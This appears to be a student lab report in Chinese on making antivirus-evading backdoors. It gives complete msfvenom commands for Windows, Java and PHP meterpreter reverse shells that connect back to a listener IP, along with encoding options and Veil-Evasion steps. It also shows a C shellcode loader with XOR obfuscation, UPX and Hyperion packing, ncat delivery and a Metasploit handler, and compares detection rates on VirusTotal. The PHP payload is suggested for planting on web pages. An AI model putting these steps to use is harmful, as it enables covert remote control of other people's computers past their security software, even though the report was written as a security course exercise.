正確使用msf編碼器,msfvenom生成如jar之類的其餘文件,veil-evasion,本身利用shellcode編程等免殺工具或技巧(1.5分)php
經過組合應用各類技術實現惡意代碼免殺(1分)(若是成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。)html
用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本(1分)java
返回目錄linux
10.211.55.13
)10.211.55.10
)返回目錄git
返回目錄程序員
惡意代碼功能也是重複相似的,程序員最不屑於作的就是一樣的代碼寫屢次。因此就產生了惡意代碼的生成工具,能夠用原始的功能代碼按需組合生成不一樣的可執行文件,現加上不一樣的免殺手段。常見的如msfvenom,veil-evasion,backdoor-factory等。github
對於這種狀況,AV廠商固然是要儘可能找到如msfvenom生成軟件的特徵,而不是蒐集全部生成結果的特徵了。其結果就是隻要msfvenom生成的exe就會檢測到,無論你是用了什麼編碼器,迭代編碼的多少次。算法
在免殺過程當中,咱們就會使用這樣的工具來生成惡意代碼,並測試其免殺效果。shell
返回目錄編程
集成了60多個商業殺毒軟件的掃描引擎。能夠上傳免殺處理過的程序進行檢測。
若是上傳的程序全部軟件都殺不出來,virustotal就會把它交給AV廠商們了,而後...在殺毒庫更新前,你還可使用一段時間。
Virustatol不包括各AV軟件的行爲分析部分(behavioral analysis)。但它本身開發了本身的行爲分析引擎。太慢,還沒試用。
https://www.virustotal.com/,最近奇慢,緣由不明。
http://www.virscan.org/ 國內的相似virtustotal
msfvenom直接生成meterpreter可執行文件,檢出率爲46/57。57個掃描引擎中有46中把它識別爲病毒。咱們以此爲參照,看通過免殺處理的應用在Virustotal上的識別率高了仍是低了。
序號 | 免殺方式 | 可用性測試 | 測試主機OS/AV | VirusTotal | VirScan |
---|---|---|---|---|---|
1 | msfvenom直接生成 | 關閉殺軟可用 | Win7_64+MSSE | 46/57 | 16/39 |
2 | msfvenom 編碼一次 | 關閉殺軟可用 | Win7_64+MSSE | 45/57 | 15/39 |
2 | msfvenom 屢次編碼 | 關閉殺軟可用 | Win7_64+MSSE | 45/57 | 16/39 |
2 | Veil-evasion | 開啓殺軟可用 | Win7_64+MSSE | 19/58 | 5/39 |
2 | C+shellcode | 開啓殺軟可用 | Win10+騰訊管家/Bitdefender | 1/39 | |
2 | UPX壓縮殼 | 40/57 | 17/39 | ||
2 | Hyperion | 18/57 | 8/39 | ||
... | ... |
Msfvenom是Metasploit平臺下用來編碼payloads免殺的工具。以Metaspliot的知名度和普及度。理所固然,全部AV廠家都盯着呢,一有新編碼算法,立刻就得加到特徵庫裏呀。
編碼後呢,按理論上講,編碼會下降檢出率,大不了多編碼幾回,總會檢不出來。
msfvenom
便可查看相關用法:編碼一次命令以下(用-e參數編碼):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=10.211.55.10 LPORT=5314 -f exe > 5314encoded10.exe
編碼十次命令以下(用-i參數指定編碼次數):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=10.211.55.10 LPORT=5314 -f exe > 5314encoded10.exe
仍是8個引擎報毒啊!這招很差使!
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 x> 20155314_backdoor_java.jar
生成.jar文件:msfvenom -p php/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 x> 20155314_backdoor.php
生成php文件(可用於網頁掛馬):Veil-Evasion是一個免殺平臺,與Metasploit有點相似,在Kalil軟件庫中有,但默認沒裝。免殺效果比較好。官網上有視頻教程。
sudo apt-get install veil
命令安裝Veil,若遇到問題則用sudo apt-get update
和sudo apt-get upgrade
這兩個命令更新一下軟件包便可:veil
命令打開Veil,輸入y
繼續安裝直至完成,之間可能等待較長時間:use evasion
命令進入Evil-Evasion:use c/meterpreter/rev_tcp.py
進入配置界面,先設置輸出.exe文件名:set LHOST kali-ip
命令設置ip,用set LPORT PORT
命令設置端口號:generate
命令生成.exe文件:/var/lib/veil/output/compiled/20155314.exe
5314.exe
吧~5314.exe
傳到Windows 7並嘗試回連:
ncat.exe -lv 5314 > 5314.exe
打開監聽;ncat -nv 10.211.55.13 5314 < 5314.exe
發送後門到Windows:msfconsole
命令用MSF打開監聽進程(這回怎麼又是那隻兔子),再依次輸入如下命令:use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.211.55.10 //此處仍然爲Linux的IP
set LPORT 5314
exploit
msfvenom -p windows/meterpreter/reverse_http LHOST=10.211.55.10 LPORT=5314 -f c
生成一個c語言格式的shellcode數組:vim 5314shellcode.c
命令新建一個c文件,將生成的shellcode粘貼到其中,並在以後添加主函數:int main() { int (*func)() = (int(*)())buf; func(); }
i686-w64-mingw32-g++ 5314shellcode.c -o 5314shellcode.exe
命令生成可執行文件:5314shellcode.exe
傳到Windows 7並嘗試回連:
ncat.exe -lv 5314 > 5314shellcode.exe
;ncat -nv 10.211.55.13 5314 < 5314shellcode.exe
;5314shellcode.exe
——'x'
執行異或操做,而後分配一些內存,拷貝字符數組到分配的內存中,最後執行它。須要特別注意的是,必須先將shellcode與選擇的關鍵字'x'
進行異或操做,而後將 shellcode放入到寫好的代碼中並編譯:
'x'
異或操做後的shellcode代碼:加殼的全稱應該是可執行程序資源壓縮,壓縮後的程序能夠直接運行。
加殼的另外一種經常使用的方式是在二進制的程序中植入一段代碼,在運行的時候優先取得程序的控制權,以後再把控制權交還給原始代碼,這樣作的目的是爲了隱藏程序真正的OEP(入口點,防止被破解)。大多數病毒就是基於此原理。
加殼的程序須要阻止外部程序或軟件對加殼程序自己的反彙編分析或者動態分析,以達到保護殼內原始程序以及軟件不被外部程序破壞,保證原始程序正常運行。
這種技術也經常使用來保護軟件版權,防止軟件被破解。但對於病毒,加殼能夠繞過一些殺毒軟件的掃描,從而實現它做爲病毒的一些入侵或破壞的一些特性。
MSF的編碼器使用相似方法,對shellcode進行再編碼。
從技術上分殼分爲:
upx 5314shellcode.exe -o 5314shellcode.upxed.exe
:/usr/share/windows-binaries/hyperion/
中;wine hyperion.exe -v 5314shellcode.upxed.exe 5314shellcode.upxed.Hyperion.exe
進行加殼:加殼軟件有不少商業版,主要目標是爲了版權保護,防止逆向分析。更多內容見wiki相關詞條。
VirScan有行爲分析引擎,會給出一個安全評分。越高越安全。
上傳完目標文件後,等待一下子,(1)從新上傳,會提示你該文件已經分析過了,可直接查看報告;(2)或點擊左側的「查看報告」,從列表中找出你上傳文件的報告頁面。以下圖,再點擊「文件行爲分析」。
下圖分別是通過加密殼處理和壓縮殼處理的兩個文件的行爲分析結果。
在真正的實踐中,如下技術也有可能被應用到:
殺軟並非萬能的。此次實驗讓我充分認識到了殺軟的侷限性以及殺軟在面對一些精心製做的後門時幾乎是毫無用處的,最關鍵的是製做這樣一個免殺後門的技術門檻和成本是很是低的。此外,因爲殺軟在電腦上具備相對較高的權限,它們是否私自收集和泄漏用戶數據隱私也飽受世人懷疑。總之,咱們不能過於依賴殺軟。
veil-evasion和半手工編程當前免殺效果最好。基本能夠繞過主流AV軟件。已有的編碼、加殼、加密軟件,須要把解壓、解密代碼加入到可執行文件中,這些代碼片段會被檢測出。加殼、加密的思路+半手工的payload多是一種可行的方式,但須要更多測試。最牛的固然是本身開發,開發這樣通用的工具可能工做量仍是很是大的,好在有前人的工做能夠參考像kkrunchy還有HackingTeam泄露出來的 core-packer。
返回目錄